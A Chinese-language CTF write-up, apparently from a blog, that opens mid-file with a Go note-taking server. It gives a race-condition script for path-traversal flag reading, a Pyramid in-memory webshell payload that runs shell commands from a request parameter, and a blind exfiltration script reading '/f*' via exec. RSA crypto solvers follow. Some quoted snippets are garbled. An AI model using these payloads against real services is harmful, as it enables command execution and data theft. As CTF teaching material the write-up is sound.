	"time"
)

// Note 代表一个笔记文件的信息
type Note struct {
	Name       string // 文件名
	ModTime    string // 修改时间
	Size       int64  // 文件大小
	IsMarkdown bool   // 是否是Markdown文件
}

// PageData 用于模板渲染的数据结构
type PageData struct {
	Notes []Note // 笔记列表
	Error string // 错误信息
}

// blackJack 检查路径是否包含危险字符
func blackJack(path string) error {
	if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
		return fmt.Errorf("非法路径")
	}
	return nil
}

// renderTemplate 渲染HTML模板
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
	err := templates.ExecuteTemplate(w, tmpl, data)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
	}
}

// renderError 渲染错误页面
func renderError(w http.ResponseWriter, message string, code int) {
	w.WriteHeader(code)
	templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
		"Code":    code,
		"Message": message,
	})
}

var templates = template.Must(template.ParseGlob("templates/*")) // 模板引擎

func main() {
	os.Mkdir("notes", 0755) // 创建笔记存储目录

	// 检查/flag路径(演示用,实际会返回错误)
	err := blackJack("/flag")
	if err != nil {
		fmt.Println(err)
	}

	// 主页路由:显示所有笔记
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		files, err := os.ReadDir("notes")
		if err != nil {
			renderError(w, "读取笔记失败", http.StatusInternalServerError)
			return
		}

		var notes []Note
		for _, f := range files {
			if f.IsDir() {
				continue
			}
			info, _ := f.Info()
			notes = append(notes, Note{
				Name:       f.Name(),
				ModTime:    info.ModTime().Format("2006-01-02 15:04"),
				Size:       info.Size(),
				IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
			})
		}
		renderTemplate(w, "index.html", PageData{Notes: notes})
	})

	// 读取笔记路由
	http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if err := blackJack(name); err != nil {
			renderError(w, err.Error(), http.StatusBadRequest)
			return
		}

		file, err := os.Open(filepath.Join("notes", name))
		if err != nil {
			renderError(w, "文件不存在", http.StatusNotFound)
			return
		}
		defer file.Close()

		data, err := io.ReadAll(io.LimitReader(file, 10240))
		if err != nil {
			renderError(w, "读取文件失败", http.StatusInternalServerError)
			return
		}

		if strings.HasSuffix(name, ".md") {
			w.Header().Set("Content-Type", "text/html")
			fmt.Fprintf(w, `%s`, data)
		} else {
			w.Header().Set("Content-Type", "text/plain")
			w.Write(data)
		}
	})

	// 写入笔记路由
	http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
		if r.Method != "POST" {
			renderError(w, "方法不允许", http.StatusMethodNotAllowed)
			return
		}

		name := r.FormValue("name")
		content := r.FormValue("content")

		if err := blackJack(name); err != nil {
			renderError(w, err.Error(), http.StatusBadRequest)
			return
		}

		// 根据格式参数决定文件扩展名
		if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
			name += ".md"
		} else {
			name += ".txt"
		}

		// 限制内容大小
		if len(content) > 10240 {
			content = content[:10240]
		}

		err := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
		if err != nil {
			renderError(w, "写入文件失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 删除笔记路由
	http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if err := blackJack(name); err != nil {
			renderError(w, err.Error(), http.StatusBadRequest)
			return
		}

		err := os.Remove(filepath.Join("notes", name))
		if err != nil {
			renderError(w, "删除文件失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 静态文件路由
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

	// 启动服务器
	srv := &http.Server{
		Addr:         ":9046",
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 15 * time.Second,
	}

	log.Fatal(srv.ListenAndServe())
}

漏洞点是

1
2
3
4
if safe = blackJack(name); safe / nil {
 renderError(w, safe.Error(), http.StatusBadRequest)
 return
}

第一次输入一个任意的 name ,使得 safe 被赋值为 nil ,然后立刻读取flag,此时err 还会是 nil

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import aiohttp
import asyncio
import time

class Solver:
    def __init__(self, baseUrl):  # 初始化方法,设置基本URL和相关参数
        self.baseUrl = baseUrl
        self.READ_FILE_ENDPOINT = f'{self.baseUrl}'  # 用于读取文件的端点
        self.VALID_CHECK_PARAMETER = '/read?name=1'  # 有效参数,用于正常请求
        self.INVALID_CHECK_PARAMETER = '/read?name=../../../flag'
        self.RACE_CONDITION_JOBS = 100  # 设置竞态条件的并发任务数量

    async def raceValidationCheck(self, session, parameter):  # 异步方法,用于发送GET请求并获取响应
        url = f'{self.READ_FILE_ENDPOINT}{parameter}'  # 构造请求URL
        async with session.get(url) as response:  # 使用异步会话发送GET请求
            return await response.text()  # 返回响应文本

    async def raceCondition(self, session):  # 创建并行任务,模拟竞态条件
        tasks = list()  # 用于存储所有任务的列表
        for _ in range(self.RACE_CONDITION_JOBS):  # 循环创建指定数量的任务
            tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))  # 添加有效请求任务
            tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))  # 添加无效请求任务
        return await asyncio.gather(*tasks)  # 并行执行所有任务并返回结果

    async def solve(self):  # 主解决方法,尝试获取flag
        async with aiohttp.ClientSession() as session:  # 创建异步HTTP客户端会话
            attempts = 1  # 初始化尝试次数
            finishedRaceConditionJobs = 0  # 初始化完成的任务数量
            while True:  # 无限循环,持续尝试
                print(f'[*] Attempts: {attempts} - Finished race condition jobs: {finishedRaceConditionJobs}')  # 打印当前状态
                results = await self.raceCondition(session)  # 执行竞态条件任务并获取结果
                attempts += 1  # 增加尝试次数
                finishedRaceConditionJobs += self.RACE_CONDITION_JOBS  # 更新完成的任务数量
                for result in results:  # 检查每个响应结果
                    if 'TGCTF{' not in result:  # 如果结果中不包含flag标志,跳过
                        continue
                    print(f'\n[+] We won the race window! Flag: {result.strip()}')  # 打印获取到的flag
                    exit(0)  # 成功后退出程序

if __name__ == '__main__':  # 程序入口
    baseUrl = 'http://127.0.0.1:52270/'  # 目标服务器的URL(已修正拼写错误)
    solver = Solver(baseUrl)  # 创建Solver实例
    asyncio.run(solver.solve())  # 运行异步解决方法

熟悉的配方,熟悉的味道

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pyramid.config import Configurator  # 导入 Pyramid 配置类
from pyramid.request import Request  # 导入 Pyramid 请求类
from pyramid.response import Response  # 导入 Pyramid 响应类
from pyramid.view import view_config  # 导入 Pyramid 视图配置装饰器
from wsgiref.simple_server import make_server  # 导入用于创建简单 WSGI 服务器的函数
from pyramid.events import NewResponse  # 导入 Pyramid 新响应事件类
import re  # 导入正则表达式模块
from jinja2 import Environment, BaseLoader  # 导入 Jinja2 模板引擎相关类

# 定义一个全局字典,用于限制 eval 函数的执行环境,防止执行恶意代码
eval_globals = {  
    '__builtins__': {},  # 禁用所有内置函数
    '__import__': None  # 禁止动态导入
}

# 定义一个函数,用于检查用户输入的表达式是否符合要求
def checkExpr(expr_input):
    # 使用正则表达式将表达式按运算符分割为多个部分
    expr = re.split(r"[-+*/]", expr_input)  
    print(exec(expr_input))  # 执行表达式(此处可能存在安全隐患)

    # 如果分割后的表达式部分数量不等于 2,则返回 0 表示不符合要求
    if len(expr) != 2:
        return 0
    try:
        # 尝试将分割后的表达式部分转换为整数
        int(expr[0])
        int(expr[1])
    except:
        # 如果转换失败,则返回 0 表示不符合要求
        return 0

    # 如果通过上述检查,则返回 1 表示符合要求
    return 1

# 定义一个视图函数,用于处理主页请求
def home_view(request):
    expr_input = ""  # 初始化表达式输入为空字符串
    result = ""  # 初始化计算结果为空字符串

    # 如果请求方法是 POST
    if request.method == 'POST':
        # 获取用户提交的表达式
        expr_input = request.POST['expr']
        # 检查表达式是否符合要求
        if checkExpr(expr_input):
            try:
                # 在受限环境中计算表达式结果
                result = eval(expr_input, eval_globals)
            except Exception as e:
                # 如果计算过程中出现异常,则将异常信息作为结果
                result = e
        else:
            # 如果表达式不符合要求,则返回提示信息
            result = "爬!"

    # 【xxx】处应填写模板字符串,用于渲染页面内容
    template_str = xxx

    # 创建 Jinja2 模板环境,使用基础加载器
    env = Environment(loader=BaseLoader())
    # 从模板字符串中加载模板
    template = env.from_string(template_str)
    # 渲染模板,将表达式输入和计算结果传递给模板
    rendered = template.render(expr_input=expr_input, result=result)
    # 返回渲染后的响应内容
    return Response(rendered)

# 如果该脚本作为主程序运行
if __name__ == '__main__':
    # 创建 Pyramid 配置对象
    with Configurator() as config:
        # 添加一个名为 'home_view' 的路由,对应根路径 '/'
        config.add_route('home_view', '/')
        # 将 home_view 函数配置为处理 'home_view' 路由的视图
        config.add_view(home_view, route_name='home_view')
        # 根据配置生成 WSGI 应用程序
        app = config.make_wsgi_app()

    # 创建一个 WSGI 服务器,监听所有网络接口的 9040 端口
    server = make_server('0.0.0.0', 9040, app)
    # 启动服务器,开始处理请求
    server.serve_forever()

对pyramid框架无回显的学习—以一道ctf题目为例-先知社区

打pyramid内存马

1
expr=exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__.('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import sys
#这行代码导入了Python的标准库模块sys,用于访问与Python解释器紧密相关的变量和函数。
config = sys.modules['__main__'].config

#这当前运行环境中存在名为config的对象,并且它是全局命名空间的一部分(即位于__main__模块中)。config对象通常用于存储应用程序配置信息,在Pyramid框架中,它还负责定义应用的行为,如路由规则等。
app = sys.modules['__main__'].app

#类似地,app也被认为是在全局命名空间中存在的一个变量,代表了WSGI兼容的应用实例。WSGI(Web Server Gateway Interface)是一种用于Python web应用和服务之间通信的标准接口。
print(config)

#这行代码简单地打印出config对象的内容,为了更好调试,检查其是否正确加载。
config.add_route('shell', '/shell')

#此行调用了config对象的方法add_route,用于向Web应用添加一个新的URL路由。这里的路由名称为'shell',对应的路径是'/shell'。这意味着当用户访问这个特定的URL时,会触发与之关联的视图逻辑。
config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()), route_name='shell')

#这是关键的一行,它定义了一个匿名函数(lambda表达式),该函数接受一个request参数并返回一个HTTP响应。在这个过程中,它使用了__import__('os').popen(...)来执行操作系统命令。更具体地说,它从请求参数中获取键为'1'的值,并将其作为命令传递给系统shell执行。然后,它读取命令执行的结果,并通过Response对象将其作为HTTP响应体发送回客户端。
app = config.make_wsgi_app()

#最后,这行代码调用了config上的make_wsgi_app方法,创建了一个新的WSGI应用实例,并将其赋值给app变量。这一步骤完成了应用的构建过程。
image-20250418120012044

但是这里其实过滤了import,但是还是能打,原因

1
2
3
4
5
6
7
exec 中执行的 import 语句其实是语法层级的关键词它不是 __import__()Python  import xxx 会在内部尝试调用 __import__但如果模块已经存在于 sys.modules 它就直接复用缓存的模块不再调用 __import__()import os 成功了是因为 os 已经在解释器环境中被加载过了Python 就直接复用了不再调用 __import__()
原理
import os 
--> 实际上调用 __import__('os')
--> 先看 sys.modules 是否已经有 'os'
    --> 有的话直接复用不调用 __import__()
    --> 没有才会去调用 __import__() 加载新模块

wp是

1
2
expr=exec("config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__.('os').popen(request.params.get('1')).read()),route
_name='shell_route');app = config.make_wsgi_app()")

打时间盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string  # 导入字符串模块,用于生成待猜测的字符集
import requests  # 导入requests库,用于发送HTTP请求
from tqdm import tqdm  # 导入tqdm库,用于显示进度条

url = "http://127.0.0.1:50800/"  # 目标URL地址
flag = "TGCTF{"  # 初始化flag变量,存储已猜测出的旗帜字符串

# 外层循环,遍历旗帜字符串的每个位置,从当前flag长度开始,直到第50个字符位置
for i in range(len(flag), 50):
    # 内层循环,遍历待猜测的字符集,包括特定符号、小写字母和数字
    for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits):
        # 构造POST请求的数据字典,包含恶意构造的表达式
        # 该表达式通过读取目标文件的第i个字符并判断是否等于当前猜测字符s
        # 利用operator.eq进行字符比较,若相等则进行取倒数操作,导致服务端错误
        data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
        # 发送POST请求到目标URL,携带构造的恶意表达式数据
        res = requests.post(url, data=data)
        # 根据服务端返回的内容判断猜测是否正确
        # 若返回内容不是特定的错误信息,则认为猜测正确
        if res.text != "A server error occurred.  Please contact the administrator.":
            flag += s  # 将正确猜测的字符添加到旗帜字符串
            print(flag)  # 打印当前已猜出的旗帜字符串
            break  # 跳出内层循环,继续猜测下一个字符位置
    print(i)  # 打印当前已猜测的字符位置索引

Cry

费克特尔

分解后是5个素数,ai梭了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import long_to_bytes
import gmpy2

# ==================== 用户输入参数 ====================
n = 810544624661213367964996895060815354972889892659483948276203088055391907479553
e = 65537
c = 670610235999012099846283721569059674725712804950807955010725968103642359765806

# 分解后的5个素数(需自行验证分解正确性)
factors = [
    113,        # p1
    18251,        # p2
    2001511,           # p3
    214168842768662180574654641,                 # p4 (示例值,需替换实际分解结果)
    916848439436544911290378588839845528581                 # p5 (示例值,需替换实际分解结果)
]

# ==================== 分解验证 ====================
def validate_factors():
    product = 1
    for p in factors:
        assert gmpy2.is_prime(p), f"{p} 不是素数"  # 网页6的素数验证
        product *= p
    assert product == n, "分解结果乘积不等于n"  # 网页3的核心验证

validate_factors()

# ==================== 计算私钥 ====================
phi = 1
for p in factors:
    phi *= (p - 1)  # 多素数RSA的欧拉函数计算(网页1原理)

try:
    d = gmpy2.invert(e, phi)  # 网页3的模逆元计算
except ZeroDivisionError:
    raise ValueError("e与φ(n)不互质,无法生成私钥")

# ==================== 解密过程 ====================
m = pow(c, d, n)

# ==================== 结果处理 ====================
m_bytes = long_to_bytes(m)

# 安全解码策略(网页5的错误处理改进)
try:
    print("文本明文:", m_bytes.decode('utf-8'))
except UnicodeDecodeError:
    # 处理二进制数据(网页2的建议)
    print("检测到非文本数据,16进制输出:", m_bytes.hex())
    with open('decrypted_data.bin', 'wb') as f:
        f.write(m_bytes)
    print("二进制文件已保存为 decrypted_data.bin")

mm不躲猫猫

将数据放在1.txt,然后提取解密就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import math
from Crypto.Util.number import long_to_bytes

# 读取数据
try:
    with open('1.txt', 'r', encoding='utf-8') as f:  # 使用 utf-8 编码
        lines = f.readlines()
except UnicodeDecodeError:
    print("无法用 utf-8 编码读取文件,请检查文件内容或尝试其他编码。")
    exit(1)

data = []
for line in lines:
    line = line.strip()
    if line.startswith('n = ') or line.startswith('c = '):
        key, value = line.split(' = ')
        data.append((key, int(value)))

ns = []
cs = []
for i in range(0, len(data), 2):
    ns.append(data[i][1])
    cs.append(data[i+1][1])

# 寻找共同的质因数
for i in range(len(ns)):
    for j in range(i + 1, len(ns)):
        n1 = ns[i]
        n2 = ns[j]
        gcd = math.gcd(n1, n2)
        if gcd != 1:
            print(f"Found common factor {gcd} between n[{i}] and n[{j}]")
            # 分解 n1 和 n2
            p1 = gcd
            q1 = n1 // p1
            p2 = gcd
            q2 = n2 // p2
            # 计算私钥 d
            phi1 = (p1 - 1) * (q1 - 1)
            phi2 = (p2 - 1) * (q2 - 1)
            e = 65537
            d1 = pow(e, -1, phi1)
            d2 = pow(e, -1, phi2)
            # 解密 c
            m1 = pow(cs[i], d1, n1)
            m2 = pow(cs[j], d2, n2)
            print(f"Decrypted m1: {long_to_bytes(m1)}")
            print(f"Decrypted m2: {long_to_bytes(m2)}")

tRwSiAns

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import hashlib
from Crypto.Util.number import long_to_bytes
from math import isqrt

# 已知参数
n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814

# 计算哈希值
def md5_hash(x):
    return int(hashlib.md5(str(x).encode()).hexdigest(), 16)

# 计算哈希值
h1 = md5_hash(307)
h2 = md5_hash(7)

# 计算差值
delta_h = h1 - h2
delta_c = c1 - c2

# 构造方程
# delta_c = (m + h1)^3 - (m + h2)^3 = 3*m^2*(h1 - h2) + 3*m*(h1^2 - h2^2) + (h1^3 - h2^3)
# 简化为:delta_c = 3*m^2*delta_h + 3*m*(h1^2 - h2^2) + (h1^3 - h2^3)
# 进一步简化为:delta_c = 3*delta_h*m^2 + 3*(h1^2 - h2^2)*m + (h1^3 - h2^3)

# 除以 delta_h
S = delta_c // delta_h

# 构造二次方程:3*m^2 + 3*(h1 + h2)*m + (h1^2 + h1*h2 + h2^2) - S = 0
a = 3
b = 3 * (h1 + h2)
c = h1**2 + h1*h2 + h2**2 - S

# 计算判别式
delta = b**2 - 4*a*c
sqrt_delta = isqrt(delta)

# 检查是否为完全平方
if sqrt_delta * sqrt_delta != delta:
    raise ValueError("判别式不是完全平方,无法求解。")

# 求解方程
m1 = (-b + sqrt_delta) // (2 * a)
m2 = (-b - sqrt_delta) // (2 * a)

# 尝试解码
for m in [m1, m2]:
    try:
        flag = long_to_bytes(m)
        if all(32 <= byte <= 126 for byte in flag):  # 检查是否为可打印字符
            print("解密成功,FLAG 为:", flag.decode())
            break
    except:
        continue
谢谢观看